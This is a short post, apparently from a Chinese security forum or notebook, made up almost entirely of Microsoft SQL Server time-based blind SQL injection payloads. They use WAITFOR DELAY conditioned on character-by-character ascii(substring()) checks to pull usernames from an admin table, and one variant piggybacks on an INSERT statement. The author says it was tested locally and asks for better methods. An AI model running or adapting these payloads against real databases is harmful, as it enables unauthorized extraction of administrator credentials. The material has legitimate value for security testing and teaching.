SELECT * FROM admin where username='1' and 1=(select count(*) from admin where username in (select top 1 username from admin) and ascii(substring(username,1,1))>90) WAITFOR delay '0:0:10'
SELECT * FROM admin where username='1' if (1=(select count(*) from admin where username in (select top 1 username from admin) and ascii(substring(username,1,1))>100)) WAITFOR delay '0:0:10' else WAITFOR delay '0:0:5'
使用insert进行基于时间的盲注,我刚刚在本地这样测试的。可能admin表的字段数不一样。如果有更好的方法,麻烦告诉我一下,谢谢哈 INSERT into admin VALUES('test12','test12342','2017-05-010') if (1=(select count(*) from admin where username in (select top 1 username from admin) and ascii(substring(username,1,1))>100))WAITFOR delay '0:0:2' ELSE WAITFOR delay '0:0:5'